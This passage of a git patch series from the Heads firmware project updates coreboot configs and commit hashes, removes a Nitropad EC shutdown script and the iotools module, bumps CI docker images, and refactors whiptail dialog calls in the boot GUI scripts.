+CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 CONFIG_INTEL_GMA_BCLV_WIDTH=32 @@ -256,13 +258,15 @@ CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_INTEL_CANNONLAKE_BASE=y CONFIG_SOC_INTEL_COMETLAKE=y -CONFIG_SOC_INTEL_COMETLAKE_1=y +CONFIG_SOC_INTEL_COMETLAKE_1_2=y +CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -310,6 +314,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -348,7 +353,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -514,8 +518,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -558,10 +560,15 @@ CONFIG_PLATFORM_USES_FSP2_0=y CONFIG_PLATFORM_USES_FSP2_X86_32=y CONFIG_HAVE_INTEL_FSP_REPO=y CONFIG_ADD_FSP_BINARIES=y +CONFIG_PLATFORM_USES_SECOND_FSP=y CONFIG_FSP_T_LOCATION=0xfffe0000 CONFIG_FSP_S_CBFS="fsps.bin" CONFIG_FSP_M_CBFS="fspm.bin" CONFIG_FSP_FULL_FD=y +CONFIG_FSP_S_CBFS_2="fsps_2.bin" +CONFIG_FSP_M_CBFS_2="fspm_2.bin" +CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" +CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_FSP_USES_CB_STACK=y @@ -593,6 +600,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -617,6 +625,7 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -648,6 +657,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -710,6 +720,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/flake.nix b/flake.nix index 9ad4d9ac1..89c50dd1c 100644 --- a/flake.nix +++ b/flake.nix @@ -52,6 +52,7 @@ libtool m4 ncurses5 # make menuconfig and slang + nss openssl # needed for talos-2 kernel build parted patch diff --git a/modules/coreboot b/modules/coreboot index 9aaf29cfc..0297386de 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -82,10 +82,10 @@ coreboot-talos_2_repo := https://github.com/Dasharo/coreboot coreboot-talos_2_commit_hash := fc47236e9877f4113dfcce07fa928f52d4d2c8ee $(eval $(call coreboot_module,talos_2,)) -# Similarly, purism is based on 4.22.01, but nothing builds against that release +# Similarly, purism is based on 24.02.01, but nothing builds against that release # or any other fork - no benefit to sharing the toolchain yet. coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git -coreboot-purism_commit_hash := 0d12e16886ac41d63cb3d60687866060fa75deee +coreboot-purism_commit_hash := 93435b9067d30ec84a6c45ca8649cc76913b1cb8 $(eval $(call coreboot_module,purism,)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port @@ -118,21 +118,19 @@ CONFIG_COREBOOT_SMBIOS_PRODUCT_NAME ?= $(BOARD) # Ensure that touching the config file will force a rebuild $(build)/$(coreboot_dir)/.configured: $(CONFIG_COREBOOT_CONFIG) -EXTRA_FLAGS ?= -fdebug-prefix-map=$(pwd)=heads -gno-record-gcc-switches -Wno-error=packed-not-aligned -Wno-address-of-packed-member - # Select the coreboot version to use for the toolchain ifeq "$($(coreboot_module)_toolchain)" "" - # Use the same module - coreboot_toolchain_module := $(coreboot_module) +# Use the same module +coreboot_toolchain_module := $(coreboot_module) else - # Use a different module - coreboot_toolchain_module := coreboot-$($(coreboot_module)_toolchain) - modules-y += $(coreboot_toolchain_module) - # The toolchain module won't build anything for this board, we just need - # the module prepped so we can hook up the toolchain target - $(coreboot_toolchain_module)_output := .nobuild - $(coreboot-toolchain_module)_configure := echo -e 'all:\n\ttouch .nobuild' > Makefile.nobuild - $(coreboot-toolchain_module)_target := -f Makefile.nobuild +# Use a different module +coreboot_toolchain_module := coreboot-$($(coreboot_module)_toolchain) +modules-y += $(coreboot_toolchain_module) +# The toolchain module won't build anything for this board, we just need +# the module prepped so we can hook up the toolchain target +$(coreboot_toolchain_module)_output := .nobuild +$(coreboot-toolchain_module)_configure := echo -e 'all:\n\ttouch .nobuild' > Makefile.nobuild +$(coreboot-toolchain_module)_target := -f Makefile.nobuild endif $(coreboot_module)_configure := \ @@ -151,8 +149,6 @@ $(coreboot_module)_configure := \ obj="$(build)/$(coreboot_dir)" \ DOTCONFIG="$(build)/$(coreboot_dir)/.config" \ BUILD_TIMELESS=1 \ - CFLAGS_x86_32="$(EXTRA_FLAGS)" \ - CFLAGS_x86_64="$(EXTRA_FLAGS)" \ # Create a dependency from coreboot to the toolchain. Use .heads-toolchain to # mark that the toolchain was built. @@ -210,8 +206,6 @@ $(coreboot_module)_target := \ XGCCPATH="$(build)/$($(coreboot_toolchain_module)_base_dir)/util/crossgcc/xgcc/bin/" \ $(COREBOOT_TARGET_CROSS) \ BUILD_TIMELESS=1 \ - CFLAGS_x86_32="$(EXTRA_FLAGS)" \ - CFLAGS_x86_64="$(EXTRA_FLAGS)" \ $(MAKE_JOBS) $(coreboot_module)_output := $(CONFIG_COREBOOT_ROM) From fd98c8d0d9f64e8ef37e45afe9edf4c3b8e0fe8d Mon Sep 17 00:00:00 2001 From: Maciej Pijanowski Date: Thu, 20 Jun 2024 16:25:09 +0200 Subject: [PATCH 152/619] nitropad-nx: use standard shutdown/reboot commands This commit effectively reverts commits a1c13ff and 902866cc. There is no need for this special EC-based poweroff command. See more details in issue linked below. Fixes: https://github.com/Dasharo/dasharo-issues/issues/711 Signed-off-by: Maciej Pijanowski --- initrd/bin/nitropad-shutdown.sh | 36 --------------------------------- initrd/bin/poweroff | 5 ----- initrd/bin/reboot | 5 ----- 3 files changed, 46 deletions(-) delete mode 100755 initrd/bin/nitropad-shutdown.sh diff --git a/initrd/bin/nitropad-shutdown.sh b/initrd/bin/nitropad-shutdown.sh deleted file mode 100755 index e449bc311..000000000 --- a/initrd/bin/nitropad-shutdown.sh +++ /dev/null @@ -1,36 +0,0 @@ -#!/bin/ash - -# Method to access IT5570 IO Depth 2 registers -it5570_i2ec() { - # TODO: Use /dev/port instead of iotools - - # Address high byte - iotools io_write8 0x2e 0x2e - iotools io_write8 0x2f 0x11 - iotools io_write8 0x2e 0x2f - iotools io_write8 0x2f $(($2>>8 & 0xff)) - - # Address low byte - iotools io_write8 0x2e 0x2e - iotools io_write8 0x2f 0x10 - iotools io_write8 0x2e 0x2f - iotools io_write8 0x2f $(($2 & 0xff)) - - # Data - iotools io_write8 0x2e 0x2e - iotools io_write8 0x2f 0x12 - iotools io_write8 0x2e 0x2f - - case $1 in - "r") - iotools io_read8 0x2f - ;; - "w") - iotools io_write8 0x2f "$3" - ;; - esac -} - -# shut down using EC external watchdog reset -it5570_i2ec w 0x1f01 0x20 -it5570_i2ec w 0x1f07 0x01 diff --git a/initrd/bin/poweroff b/initrd/bin/poweroff index a27da23b8..ef4bdf863 100755 --- a/initrd/bin/poweroff +++ b/initrd/bin/poweroff @@ -8,11 +8,6 @@ if [ "$CONFIG_TPM" = "y" ]; then tpmr shutdown fi -# Run special EC-based poweroff for Nitropad-Nxx -if [ "$CONFIG_BOARD" = "nitropad-nv41" ] || [ "$CONFIG_BOARD" = "nitropad-ns50" ]; then - /bin/nitropad-shutdown.sh -fi - # Sync all mounted filesystems echo s > /proc/sysrq-trigger diff --git a/initrd/bin/reboot b/initrd/bin/reboot index 26255f12c..358931e9c 100755 --- a/initrd/bin/reboot +++ b/initrd/bin/reboot @@ -17,11 +17,6 @@ if [ "$CONFIG_TPM" = "y" ]; then tpmr shutdown fi -# Run special EC-based poweroff for Nitropad-Nxx -if [ "$CONFIG_BOARD" = "nitropad-nv41" ] || [ "$CONFIG_BOARD" = "nitropad-ns50" ]; then - /bin/nitropad-shutdown.sh -fi - # Sync all mounted filesystems echo s > /proc/sysrq-trigger From 80284ff246aa8eeea7f0440381c88f585cc76aa9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 20 Jun 2024 10:51:50 -0400 Subject: [PATCH 153/619] .circleci/config.yml: bump to v0.2.0 docker image based on flake.nix's new nss inclusion required for coreboot 24.02+ Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 5b2cc3426..f142ef669 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.1.9 + - image: tlaurion/heads-dev-env:v0.2.0 resource_class: large working_directory: ~/heads steps: From 2cd5b0960aabf248a46c0f8c0479731033fd27ba Mon Sep 17 00:00:00 2001 From: Maciej Pijanowski Date: Fri, 21 Jun 2024 16:44:50 +0200 Subject: [PATCH 154/619] modules: drop iotools As discussed in: linuxboot#1704 there is no need to include iotools module for nitropads. Since there is no board using it, and we see no reason to use it in the future (the EC udpate will not require it, as update will be server by coreboot in the future), drop the module as well. Signed-off-by: Maciej Pijanowski --- Makefile | 1 - boards/nitropad-ns50/nitropad-ns50.config | 2 -- boards/nitropad-nv41/nitropad-nv41.config | 2 -- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 3 +-- .../qemu-coreboot-fbwhiptail-tpm1.config | 3 +-- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 3 +-- .../qemu-coreboot-fbwhiptail-tpm2.config | 3 +-- .../qemu-coreboot-whiptail-tpm1-hotp.config | 3 +-- .../qemu-coreboot-whiptail-tpm1.config | 3 +-- .../qemu-coreboot-whiptail-tpm2-hotp.config | 3 +-- .../qemu-coreboot-whiptail-tpm2.config | 3 +-- .../x230-hotp-maximized.config | 3 +-- modules/iotools | 22 ------------------- 13 files changed, 9 insertions(+), 45 deletions(-) delete mode 100644 modules/iotools diff --git a/Makefile b/Makefile index 38cc9f685..e10c7b585 100644 --- a/Makefile +++ b/Makefile @@ -617,7 +617,6 @@ bin_modules-$(CONFIG_KBD) += kbd bin_modules-$(CONFIG_ZSTD) += zstd bin_modules-$(CONFIG_E2FSPROGS) += e2fsprogs bin_modules-$(CONFIG_EXFATPROGS) += exfatprogs -bin_modules-$(CONFIG_IOTOOLS) += iotools $(foreach m, $(bin_modules-y), \ $(call map,initrd_bin_add,$(call bins,$m)) \ diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 16490feb5..2c9e2b284 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -29,8 +29,6 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index 7ba4d5896..ff68302fb 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -29,8 +29,6 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index da5e200f7..1b4e30644 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -47,8 +47,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -#CONFIG_IOTOOLS=y +#Runtime tools to write to MSR #CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index fe12a429b..f574b2e93 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -45,8 +45,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y +#Runtime tools to write to MSR CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 0e158c57e..b091298be 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -46,8 +46,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y +#Runtime tools to write to MSR CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index cf5b2d01a..3d5024368 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -45,8 +45,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y +#Runtime tools to write to MSR CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 443263676..b5a00801c 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -47,8 +47,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y +#Runtime tools to write to MSR CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 3365eea41..8d3c7440e 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -45,8 +45,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y +#Runtime tools to write to MSR CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index a6095caef..9c7f557ef 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -46,8 +46,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -#CONFIG_IOTOOLS=y +#Runtime tools to write to MSR #CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 881342ed6..1397cbc64 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -45,8 +45,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -#CONFIG_IOTOOLS=y +#Runtime tools to write to MSR #CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 00e1db64a..bca5c5ade 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -32,8 +32,7 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -#Runtime tools to write to EC/MSR -#CONFIG_IOTOOLS=y +#Runtime tools to write to MSR #CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements diff --git a/modules/iotools b/modules/iotools deleted file mode 100644 index ca0df8164..000000000 --- a/modules/iotools +++ /dev/null @@ -1,22 +0,0 @@ -modules-$(CONFIG_IOTOOLS) += iotools - -iotools_depends := pciutils $(musl_dep) - -iotools_version := 18949fdc4dedb1da3f51ee83a582b112fb9f2c71 -iotools_dir := iotools-$(iotools_version) -iotools_tar := $(iotools_dir).tar.gz -iotools_url := https://github.com/adurbin/iotools/archive/$(iotools_version).tar.gz -iotools_hash := 8df266f55cd8e79328faa0e274edc082de3f6c240617a28ace93abdace324ec2 - -iotools_cfg := \ - -iotools_target := \ - $(MAKE_JOBS) \ - $(CROSS_TOOLS) \ - -iotools_output := \ - iotools - -iotools_libraries := \ - -iotools_configure := From 19a705c17904c2390334c979097c4643963bd811 Mon Sep 17 00:00:00 2001 From: Matthew Drobnak Date: Thu, 6 Jun 2024 22:59:13 +0000 Subject: [PATCH 155/619] Add functions to handle normal, warning, and error for whiptail and fbwhiptail. Signed-off-by: Matthew Drobnak --- initrd/bin/config-gui.sh | 16 +++--- initrd/bin/flash-gui.sh | 10 ++-- initrd/bin/gpg-gui.sh | 14 +++--- initrd/bin/gui-init | 86 +++++++++++++++++---------------- initrd/bin/gui-init-basic | 16 +++--- initrd/bin/kexec-select-boot | 11 +++-- initrd/bin/media-scan | 2 +- initrd/bin/mount-usb | 7 +-- initrd/bin/oem-factory-reset | 17 ++++--- initrd/bin/oem-system-info-xx30 | 5 +- initrd/bin/root-hashes-gui.sh | 18 +++---- initrd/bin/seal-hotpkey | 3 +- initrd/etc/gui_functions | 44 +++++++++++++++-- initrd/etc/luks-functions | 4 +- initrd/init | 4 +- 15 files changed, 150 insertions(+), 107 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 050f416e7..730a2a38e 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -15,7 +15,7 @@ param=$1 read_rom() { /bin/flash.sh -r "$1" if [ ! -s "$1" ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: BIOS Read Failed!' \ + whiptail_error --title 'ERROR: BIOS Read Failed!' \ --msgbox "Unable to read BIOS" 0 80 exit 1 fi @@ -95,7 +95,7 @@ while true; do ) unset menu_choice - whiptail $BG_COLOR_MAIN_MENU --title "Config Management Menu" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "Config Management Menu" \ --menu "This menu lets you change settings for the current BIOS session.\n\nAll changes will revert after a reboot,\n\nunless you also save them to the running BIOS." 0 80 10 \ "${dynamic_config_options[@]}" \ 2>/tmp/whiptail || recovery "GUI menu failed" @@ -116,7 +116,7 @@ while true; do "b" ) CURRENT_OPTION="$(load_config_value CONFIG_BOOT_DEV)" if ! fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" > /tmp/disklist.txt ; then - whiptail $BG_COLOR_ERROR --title 'ERROR: No bootable devices found' \ + whiptail_error --title 'ERROR: No bootable devices found' \ --msgbox " $ERROR\n\n" 0 80 exit 1 fi @@ -147,7 +147,7 @@ while true; do # mount newly selected /boot device if ! mount -o ro $SELECTED_FILE /boot 2>/tmp/error ; then ERROR=`cat /tmp/error` - whiptail $BG_COLOR_ERROR --title 'ERROR: unable to mount /boot' \ + whiptail_error --title 'ERROR: unable to mount /boot' \ --msgbox " $ERROR\n\n" 0 80 exit 1 fi @@ -175,7 +175,7 @@ while true; do ;; "r" ) # prompt for confirmation - if (whiptail $BG_COLOR_WARNING --title 'Reset Configuration?' \ + if (whiptail_warning --title 'Reset Configuration?' \ --yesno "This will clear all GPG keys, clear boot signatures and checksums, \nreset the /boot device, clear/reset the TPM (if present), \nand reflash your BIOS with the cleaned configuration. @@ -268,7 +268,7 @@ while true; do if [ "$CONFIG_ROOT_CHECK_AT_BOOT" != "y" ]; then # Root device and directories must be set to enable this if [ -z "$CONFIG_ROOT_DEV" ] || [ -z "$CONFIG_ROOT_DIRLIST" ]; then - whiptail $BG_COLOR_ERROR --title 'Root Check Not Configured' \ + whiptail_error --title 'Root Check Not Configured' \ --msgbox "Set the root device and directories to hash before enabling this feature." 0 80 elif (whiptail --title 'Enable Root Hash Check at Boot?' \ --yesno "This will enable checking root hashes each time you boot. @@ -305,7 +305,7 @@ while true; do ;; "P" ) if [ "$CONFIG_RESTRICTED_BOOT" = "y" ]; then - whiptail $BG_COLOR_ERROR --title 'Restricted Boot Active' \ + whiptail_error --title 'Restricted Boot Active' \ --msgbox "Disable Restricted Boot to enable Basic Mode." 0 80 elif [ "$CONFIG_BASIC" != "y" ]; then if (whiptail --title "Enable $CONFIG_BRAND_NAME Basic Mode?" \ @@ -365,7 +365,7 @@ while true; do # disabled. if ! wipe-totp >/dev/null 2>/tmp/error; then ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail $BG_COLOR_ERROR --title 'ERROR: erasing TOTP secret' \ + whiptail_error --title 'ERROR: erasing TOTP secret' \ --msgbox "Erasing TOTP Secret Failed\n\n${ERROR}" 0 80 exit 1 fi diff --git a/initrd/bin/flash-gui.sh b/initrd/bin/flash-gui.sh index 309463f79..03deeec9f 100755 --- a/initrd/bin/flash-gui.sh +++ b/initrd/bin/flash-gui.sh @@ -8,7 +8,7 @@ set -e -o pipefail TRACE_FUNC if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then - whiptail $BG_COLOR_ERROR --title 'Restricted Boot Active' \ + whiptail_error --title 'Restricted Boot Active' \ --msgbox "Disable Restricted Boot to flash new firmware." 0 80 exit 1 fi @@ -42,7 +42,7 @@ single_glob() { while true; do unset menu_choice - whiptail $BG_COLOR_MAIN_MENU --title "Firmware Management Menu" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "Firmware Management Menu" \ --menu "Select the firmware function to perform\n\nRetaining settings copies existing settings to the new firmware:\n* Keeps your GPG keyring\n* Keeps changes to the default /boot device\n\nErasing settings uses the new firmware as-is:\n* Erases any existing GPG keyring\n* Restores firmware to default factory settings\n* Clears out /boot signatures\n\nIf you are just updating your firmware, you probably want to retain\nyour settings." 0 80 10 \ 'f' ' Flash the firmware with a new ROM, retain settings' \ 'c' ' Flash the firmware with a new ROM, erase settings' \ @@ -56,7 +56,7 @@ while true; do exit 0 ;; f | c) - if (whiptail $BG_COLOR_WARNING --title 'Flash the BIOS with a new ROM' \ + if (whiptail_warning --title 'Flash the BIOS with a new ROM' \ --yesno "You will need to insert a USB drive containing your BIOS image (*.zip or\n*.$UPDATE_PLAIN_EXT).\n\nAfter you select this file, this program will reflash your BIOS.\n\nDo you want to proceed?" 0 80); then mount_usb if grep -q /media /proc/mounts; then @@ -115,7 +115,7 @@ while true; do exit 1 fi - if ! whiptail $BG_COLOR_WARNING --title 'Flash ROM?' \ + if ! whiptail_warning --title 'Flash ROM?' \ --yesno "This will replace your current ROM with:\n\n$PKG_FILE_DISPLAY\n\nDo you want to proceed?" 0 80; then exit 1 fi @@ -136,7 +136,7 @@ while true; do fi ROM="$PKG_EXTRACT/$(basename "$PKG_FILE")" ROM_HASH=$(sha256sum "$ROM" | awk '{print $1}') - if ! (whiptail $CONFIG_ERROR_BG_COLOR --title 'Flash ROM without integrity check?' \ + if ! (whiptail_error --title 'Flash ROM without integrity check?' \ --yesno "You have provided a *.$UPDATE_PLAIN_EXT file. The integrity of the file can not be\nchecked automatically for this file type.\n\nROM: $PKG_FILE_DISPLAY\nSHA256SUM: $ROM_HASH\n\nIf you do not know how to check the file integrity yourself,\nyou should use a *.zip file instead.\n\nIf the file is damaged, you will not be able to boot anymore.\nDo you want to proceed flashing without file integrity 